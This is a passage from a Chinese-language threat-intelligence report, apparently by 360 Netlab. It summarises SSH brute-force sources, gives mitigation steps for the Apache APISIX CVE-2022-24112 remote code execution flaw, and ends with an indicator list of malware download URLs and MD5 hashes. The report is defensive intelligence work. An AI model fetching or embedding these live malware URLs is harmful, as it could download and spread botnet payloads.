class=\"kg-image\"/></a>\n\n密码爆破攻击方面，87%的攻击源IP集中在SSH协议的密码爆破上，SSH仍然是受到爆破攻击最多的协议。腾讯云是攻击源IP最多的云服务商，提供了超过4000个IP。DigitalOcean和亚马逊AWS排在二三位。\n<a href=\"__GHOST_URL__/content/images/2022/03/image-20220309190420221.png\"><img src=\"__GHOST_URL__/content/images/2022/03/image-20220309190420221.png\" class=\"kg-image\"/></a>\n\n## 5. 防护建议\n针对本月新出现的Apache APISIX batch-requests远程代码执行漏洞(CVE-2022-24112)，云上用户可做好以下防护措施：\n1.在`conf/config.yaml`修改默认的admin_key，或者注释掉`conf/config-default.yaml`中的batch-requests；\n2.更新到最新版本 2.10.4 或者 2.12.1。\n\n## 6. 联系我们\n感兴趣的读者，可以通过邮箱netlab[at]360.cn联系我们。\n\n## 7. IoC List\nURL：\n\n```\nhttp://107.172.249.169/Ugliest.mpsl\nhttp://107.172.249.169/Ugliest.mips\nhttp://107.172.249.169/Ugliest.arm6\nhttp://96.8.121.110/The420SmokePlace.dns/KKveTTgaAAsecNNaaaa.mips\nhttp://96.8.121.110/The420SmokePlace.dns/KKveTTgaAAsecNNaaaa.i486\nhttp://96.8.121.110/The420SmokePlace.dns/KKveTTgaAAsecNNaaaa.m68k\nhttp://107.172.89.142/lx/apep.arm\nhttp://46.101.183.162/eski/.x/juice\nhttp://172.245.186.149/Acid.x86\nhttp://drpelvicpain.com/dr/nano.jpg\nhttp://107.172.89.142/z.sh\n```\n\nmd5：\n\n```\n551341b7f4b547bdc2090f0f40f0cb43\nc49271194f775e7fe66e3470b713f0c1\nf787a3971619ec278c71f4b1eb88a555\n850da4f2e67510e609f9b4db7dd7c8ed\n200ea7427ffd18591c6535f67f167acc\na7de7cb5eff5f8ced23efe7eba90c33f\na67799c49ffee34b3467e7714a5abd86\n4225d7b11dd787288e3edceab34fc43c\nb0783f33954493b1a4ad60eff5eb457a\ne956afe0cef4686de6829dcc08f3d46f\ncf74569c199d630b49c5d363ae9231b6\n```"}]],"markups":[],"sections":[[10,0],[1,"p",[]],[1,"p",[]],[1,"p",[]]],"ghostVersion":"3.0"}